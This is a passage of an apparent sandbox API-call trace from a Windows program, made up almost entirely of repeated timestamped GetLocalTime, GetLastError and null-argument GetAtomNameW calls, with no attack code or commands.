wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.898] GetLastError () returned 0x0 [0024.898] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.899] GetLastError () returned 0x0 [0024.899] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.899] GetLastError () returned 0x0 [0024.899] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.899] GetLastError () returned 0x0 [0024.899] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.899] GetLastError () returned 0x0 [0024.899] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.899] GetLastError () returned 0x0 [0024.899] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.899] GetLastError () returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.793] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.794] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.795] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.796] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, nSize=0 | out: lpBuffer=0x0) returned 0x0 [0025.797] GetAtomNameW (in: nAtom=0x0, lpBuffer=0x0, 